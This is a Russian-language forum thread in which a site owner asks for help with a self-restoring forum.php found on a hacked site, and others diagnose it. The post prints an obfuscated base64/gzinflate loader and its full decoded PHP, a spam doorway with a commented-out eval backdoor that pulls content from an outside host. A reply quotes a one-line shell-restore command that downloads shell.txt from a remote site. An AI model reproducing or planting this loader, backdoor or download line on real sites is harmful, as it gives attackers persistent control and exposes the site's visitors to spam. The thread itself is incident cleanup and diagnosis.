Jump to content

XSS уязвимость или на что похоже?


Recommended Posts

Всем здрасьте!

В общем буквально на днях словил забавную штуку...
Файл лежит в корне сайта, обзывается forum.php

В начале всё было закодировано и забавно:

<?php
//plznodelete
function SIULa($xiC)
{ 
$xiC=gzinflate(base64_decode($xiC));
 for($i=0;$i<strlen($xiC);$i++)
 {
$xiC[$i] = chr(ord($xiC[$i])-1);
 }
 return $xiC;
 }echo(SIULa

Раскодировалось всё в такую забавную фигню:
ОСТОРОЖНО МНОГО КОДА (:

//Код для создания нового файла error_reporting(0); function file_get_contents_my($url){ $url = parse_url($url); $data=false; $fp = @fsockopen($url['host'], 80, $errno, $errstr, 1); if ($fp) { stream_set_timeout($fp,5); $out = "GET ".$url['path']." HTTP/1.0\r\n"; $out .= "Host: ".$url['host']."\r\n"; $out .= "User-Agent: " . user_agent . "\r\n"; $out .= "Connection: Close\r\n\r\n"; if (fwrite($fp, $out)) { $content=''; $header = "not yet"; while (!feof($fp)) { $data=true; $line=fgets($fp,128); if ($line=="\r\n" && $header=="not yet") { $header = "passed"; } if ($header=="passed") { $content.=$line; } } fclose ($fp); } } if (!$data) { print "Unable to retrieve all or part of $url"; die(); } else { //print "$content"; } //echo $file; //die(); return trim($content); } //if(isset($_GET['md5']) AND md5($_GET['md5'])=='c01d41a787626b9890d0913345f090e9')eval(base64_decode($_POST['fack'])); $R=$_SERVER['HTTP_REFERER']; $A=$_SERVER['REMOTE_ADDR']; $U=$_SERVER['REQUEST_URI']; $R=urldecode ($R); if (strpos($R, "yandex") != 0) { preg_match('|text=(.*)|sei', $R, $arr); $querrry = $arr[1]; $searchengeen = 'yandex'; } elseif (strpos($R, "rambler") != 0) { $searchengeen = 'rambler'; preg_match('|query=(.*)|sei', $R, $arr); $querrry = $arr[1]; }elseif(strpos($R, "google") != 0){ $searchengeen = 'google'; $querrry = ''; } else { $querrry = ''; } //echo ''; ini_set("user_agent", $_SERVER["HTTP_USER_AGENT"].'|||'.$querrry.'|||'.$A.'|||'.$searchengeen.'|||'."http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']); define("user_agent", $_SERVER["HTTP_USER_AGENT"].'|||'.$querrry.'|||'.$A.'|||'.$searchengeen.'|||'."http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']); if(isset($_GET["ping"])){ $url = base_decode($_GET['ping']); $title = base_decode($_GET['title']); $text = base_decode($_GET['text']); $sendlist = array( 'http://ping.blogs.yandex.ru/RPC2' 'http://blogsearch.google.com/ping/RPC2' 'http://rpc.pingomatic.com' 'http://xping.pubsub.com/ping/' 'http://rpc.weblogs.com/RPC2' 'http://blogpeople.net/servlet/weblogUpdates' ); class Trackback { var $blog_name = ''; // Default blog name used throughout the class (ie. BLOGish) var $author = ''; // Default author name used throughout the class (ie. Ran Aroussi) var $encoding = ''; // Default encoding used throughout the class (ie. UTF-8) var $get_id = ''; // Retreives and holds $_GET['id'] (if not empty) var $post_id = ''; // Retreives and holds $_POST['id'] (if not empty) var $url = ''; // Retreives and holds $_POST['url'] (if not empty) var $title = ''; // Retreives and holds $_POST['title'] (if not empty) var $expert = ''; // Retreives and holds $_POST['expert'] (if not empty) /** * Class Constructure * * @param string $blog_name * @param string $author * @param string $encoding * @return */ function Trackback($blog_name, $author, $encoding = "UTF-8") { $this->blog_name = $blog_name; $this->author = $author; $this->encoding = $encoding; // Gather $_POST information if (isset($_GET['id'])) { $this->get_id = $HTTP_GET_VARS['id']; } if (isset($_POST['id'])) { $this->post_id = $HTTP_POST_VARS['id']; } if (isset($_POST['url'])) { $this->url = $HTTP_POST_VARS['url']; } if (isset($_POST['title'])) { $this->title = $HTTP_POST_VARS['url']; } if (isset($_POST['expert'])) { $this->expert = $HTTP_POST_VARS['expert']; } } /** * Sends a trackback ping to a specified trackback catawow.ru/money. * allowing clients to auto-discover the TrackBack Ping catawow.ru/money. * * * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * if ($trackback->ping('http://tracked-blog.com' 'http://your-url.com' 'Your entry title')) { * echo "Trackback sent successfully..."; * } else { * echo "Error sending trackback...."; * } * * * @param string $tb * @param string $url * @param string $title * @param string $excerpt * @return boolean */ function ping($tb, $url, $title = "", $excerpt = "") { $response = ""; $reason = ""; // Set default values if (empty($title)) { $title = "Trackbacking your entry..."; } if (empty($excerpt)) { $excerpt = "I found your entry interesting do I've added a Trackback to it on my weblog :)"; } // Parse the target $target = parse_url($tb); if ((isset($target["query"])) && ($target["query"] != "")) { $target["query"] = "?" . $target["query"]; } else { $target["query"] = ""; } if ((isset($target["port"]) && !is_numeric($target["port"])) || (!isset($target["port"]))) { $target["port"] = 80; } // Open the socket $tb_sock = fsockopen($target["host"], $target["port"]); // Something didn't work out, return if (!is_resource($tb_sock)) { return '$trackback->ping: can\'t connect to: ' . $tb . '.'; exit; } // Put together the things we want to send $tb_send = "url=" . rawurlencode($url) . "&title=" . rawurlencode($title) . "&blog_name=" . rawurlencode($this->blog_name) . "&excerpt=" . rawurlencode($excerpt); // Send the trackback fputs($tb_sock, "POST " . $target["path"] . $target["query"] . " HTTP/1.1\r\n"); fputs($tb_sock, "Host: " . $target["host"] . "\r\n"); fputs($tb_sock, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($tb_sock, "Content-length: " . strlen($tb_send) . "\r\n"); fputs($tb_sock, "Connection: close\r\n\r\n"); fputs($tb_sock, $tb_send); // Gather result while (!feof($tb_sock)) { $response .= fgets($tb_sock, 128); } // Close socket fclose($tb_sock); // Did the trackback ping work strpos($response, '0') ? $return = true : $return = false; // send result return $return; } /** * Produces XML response for trackbackers with ok/error message. * * * // Set page header to XML * header('Content-Type: text/xml'); // MUST be the 1st line * // * // Instantiate the class * // * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * // * // Get trackback information * // * $tb_id = $trackback->post_id; // The id of the item being trackbacked * $tb_url = $trackback->url; // The catawow.ru/money from which we got the trackback * $tb_title = $trackback->title; // Subject/title send by trackback * $tb_expert = $trackback->expert; // Short text send by trackback * // * // Do whatever to log the trackback (save in DB, flatfile, etc...) * // * if (TRACKBACK_LOGGED_SUCCESSFULLY) { * // Logged successfully... * echo $trackback->recieve(true); * } else { * // Something went wrong... * echo $trackback->recieve(false, 'Explain why you return error'); * } * * * @param boolean $success * @param string $err_response * @return boolean */ function recieve($success = false, $err_response = "") { // Default error response in case of problems... if (!$success && empty($err_response)) { $err_response = "An error occured while tring to log your trackback..."; } // Start response to trackbacker... $return = 'encoding . '"' . "\n"; $return .= " \n"; // Send back response... if ($success) { // Trackback received successfully... $return .= " 0 \n"; } else { // Something went wrong... $return .= " 1 \n"; $return .= " " . $this->xml_safe($err_response) . "\n"; } // End response to trackbacker... $return .= ""; return $return; } /** * Feteched trackback information and produces an RSS-0.91 feed. * * * // 1 * header('Content-Type: text/xml'); // MUST be the 1st line * // 2 * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * // 3 * $tb_id = $trackback->get_id; * // 4 * Do whatever to get trackback information by ID (search db, etc...) * if (GOT_TRACKBACK_INFO) { * // Successful - pass trackback info as array()... * $tb_info = array('title' => string TRACKBACK_TITLE, * 'expert' => string TRACKBACK_EXPERT, * 'permalink' => string PERMALINK_catawow.ru/money, * 'trackback' => string TRACKBACK_catawow.ru/money * ); * echo $trackback->fetch(true, $tb_info); * } else { * // Something went wrong - tell my why... * echo $trackback->fetch(false, string RESPONSE); * } * * * @param boolean $success * @param string $response * @return string XML response to the caller */ function fetch($success = false, $response = "") { if (!$success && empty($response)) { $response = "An error occured while tring to retreive trackback information..."; } // Start response to caller $return = 'encoding . '"' . "\n"; $return .= " \n"; // Send back response... if ($success) { // Trackback retreived successfully... // Sending back an RSS (0.91) - trackback information from $response (array)... $return .= " 0 \n"; $return .= " \n"; $return .= " \n"; $return .= " \n"; $return .= " " . $this->xml_safe($response['trackback']) . " \n"; $return .= " " . $this->xml_safe($response['expert']) . " \n"; $return .= " \n"; $return .= " \n"; $return .= " " . $this->xml_safe($response['permalink']) . " \n"; $return .= " " . $this->xml_safe($response['expert']) . " \n"; $return .= " \n"; $return .= " \n"; $return .= " \n"; } else { // Something went wrong - provide reason from $response (string)... $return .= " 1 \n"; $return .= " " . $this->xml_safe($response) . "\n"; } // End response to trackbacker $return .= ""; return $return; } /** * Produces embedded RDF representing metadata about the entry, * allowing clients to auto-discover the TrackBack Ping catawow.ru/money. * * NOTE: DATE should be string in RFC822 Format - Use RFC822_from_datetime(). * * * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * * echo $trackback->rdf_autodiscover(string DATE, string TITLE, string EXPERT, string PERMALINK, string TRACKBACK [, string AUTHOR]); * * * @param string $RFC822_date * @param string $title * @param string $expert * @param string $permalink * @param string $trackback * @param string $author * @return string */ function rdf_autodiscover($RFC822_date, $title, $expert, $permalink, $trackback, $author = "") { if (!$author) { $author = $this->author; } $return = " \n"; return $return; } /** * Search text for links, and searches links for trackback catawow.ru/moneys. * * * * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * * if ($tb_array = $trackback->auto_discovery(string TEXT)) { * // Found trackbacks in TEXT. Looping... * foreach($tb_array as $tb_key => $tb_url) { * // Attempt to ping each one... * if ($trackback->ping($tb_url, string catawow.ru/money, [string TITLE], [string EXPERT])) { * // Successful ping... * echo "Trackback sent to $tb_url...\n"; * } else { * // Error pinging... * echo "Trackback to $tb_url failed....\n"; * } * } * } else { * // No trackbacks in TEXT... * echo "No trackbacks were auto-discover...\n" * } * * * @param string $text * @return array Trackback catawow.ru/moneys. */ function auto_discovery($text) { // Get a list of UNIQUE links from text... // --------------------------------------- // RegExp to look for (0=>link, 4=>host in 'replace') $reg_exp = "/(http)+(s)? :(\\/\\/)((\\w|\\.)+)(\\/)?(\\S+)?/i"; // Make sure each link ends with [sapce] $text = eregi_replace("www.", "http://www.", $text); $text = eregi_replace("http://http://", "http://", $text); $text = eregi_replace("\"", " \"", $text); $text = eregi_replace("'", " '", $text); $text = eregi_replace(">", " >", $text); // Create an array with unique links $uri_array = array(); if (preg_match_all($reg_exp, strip_tags($text, ""), $array, PREG_PATTERN_ORDER)) { foreach($array[0] as $key => $link) { foreach((array(",", ".", ":", ";")) as $t_key => $t_value) { $link = trim($link, $t_value); } $uri_array[] = ($link); } $uri_array = array_unique($uri_array); } // Get the trackback URIs from those links... // ------------------------------------------ // Loop through the URIs array and extract RDF segments $rdf_array = array(); // <- holds list of RDF segments foreach($uri_array as $key => $link) { if ($link_content = implode("", @file($link))) { preg_match_all('/()/sm', $link_content, $link_rdf, PREG_SET_ORDER); for ($i = 0; $i < count($link_rdf); $i++) { if (preg_match('|dc:identifier="' . preg_quote($link) . '"|ms', $link_rdf[$i][1])) { $rdf_array[] = trim($link_rdf[$i][1]); } } } } // Loop through the RDFs array and extract trackback URIs $tb_array = array(); // <- holds list of trackback URIs if (!empty($rdf_array)) { for ($i = 0; $i < count($rdf_array); $i++) { if (preg_match('/trackback:ping="([^"]+)"/', $rdf_array[$i], $array)) { $tb_array[] = trim($array[1]); } } } // Return Trackbacks return $tb_array; } /** * Other Useful functions used in this class */ /** * Converts MySQL datetime to a standart RFC 822 date format * * @param string $datetime * @return string RFC 822 date */ function RFC822_from_datetime($datetime) { $timestamp = mktime( substr($datetime, 8, 2), substr($datetime, 10, 2), substr($datetime, 12, 2), substr($datetime, 4, 2), substr($datetime, 6, 2), substr($datetime, 0, 4) ); return date("r", $timestamp); } /** * Converts a string into an XML-safe string (replaces &, <, >, " and ') * * @param string $string * @return string */ function xml_safe($string) { return htmlspecialchars($string, ENT_QUOTES); } /** * Cuts a string short (with "...") accroding to $max_length... * * @param string $string * @param integer $max_length * @return string */ function cut_short($string, $max_length = 255) { if (strlen($string) > $max_length) { $string = substr($string, 0, $max_length) . '...'; } return $string; } } $name = 'Admin'; for ($i = 0; $i < sizeof($sendlist); $i++) { print $sendlist[$i]."
"; $trackback = new Trackback($name, $name, 'UTF-8'); $trackback->ping($sendlist[$i], $url, $title, $text); } die('okey bro,ping over'); } //Считаем клики if(isset($_GET['zipfile'])){ header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="link.zip"'); echo file_get_contents_my("http://catawow.ru/moneta1/dpages/createzip/".$_GET['zipfile']); die(); } if(isset($_GET["go"])){ file_get_contents_my("http://catawow.ru/moneta1/dpages/go/281"); header('Location: '.base64_decode($_GET["go"])); die(); } //показываем диз if(isset($_GET["simage"])){ Header("Cache-Control: public, must-revalidate"); header("Last-Modified: Mon, 26 Jul 1997 05:00:00 GMT"); $id = $_GET["simage"]; if (strstr($id, ".css")){ header('Content-Type: text/css; charset=utf-8'); } elseif (strstr($id, ".png")){ header('Content-Type: image/png'); } elseif (strstr($id, ".jpg") || strstr($id, ".jpeg")){ header('Content-Type: image/jpeg'); } elseif (strstr($id, ".gif")){ header('Content-Type: image/gif'); } else { header('Content-Type: text/html; charset=utf-8'); } die(file_get_contents_my("http://catawow.ru/moneta1/281/dpages/images/".$id )); } header ("Content-type: text/html; charset=utf-8"); if(isset($_GET["action"])){ $file = file_get_contents_my("http://catawow.ru/moneta1/281/".$_GET["action"]); echo $file; die(); }else{ $file = file_get_contents_my("http://catawow.ru/moneta1/281/dpages/index"); } echo $file;



Приятного в этой хреновине на первый взгляд было мало т.к она "подсунула" я так понял в iframe какой-то засранный до ужаса форум с кучей ключевых слов не по теме - точнее вообще по разным темам.
Собственно сначала я его снес - реакции 0 - он самовосстановился, я его оставил, но решил всех прав (: закрыл его в роботсе, и через htaccess, стер из самого файла всё - сейчас он весит 0.
Но удалить я его не могу - появляется вновь.

Пароли все сменил и т.д.
Отписал хостеру - говорит мол посмотрите на cms (которая 2006 года - обновите говорят до новой версии :)
Потом прислали ссылку на POST запросы к одному плагинчику онлайн консультанта.
Мол через него кто-то к нам и влез.

Завтра буду сносить этот плагин - скрипт, поставлю помоднее и попроще.
Вопрос остается открытым в том что же это такое и с чем его есть.

Заранее спасибо за ответы! 


 

Link to post
Share on other sites

Залили шелл Вам судя по всему и вписали в один из php файлов примерно такую строчку:

<?php copy('http://sait.ru/shell.txt','shell.php');exit; ?>

Через нее шелл и востанавливают.

Link to post
Share on other sites

Где бы теперь эту заразу искать... искал по дате за неделю изменений нет. Наверное поранее было значит.

Попробуйте поискать в php файлах <?php copy, либо <?php system(wget

Link to post
Share on other sites

Короче нашел тонну добра (:
shell закрался через ранее бесплатный чат Livezilla как уж не знаю, но как есть.

Чистить долго - накидали дофига всякого, что конкретно расскажу чуть позже.
В тоже время сайтов с этим чатом (в бесплатной правда версии) сломано уже 2, так что старые версии Livezilla если у кого стоят - сносите - опасная штуковина))

Link to post
Share on other sites

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now
  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...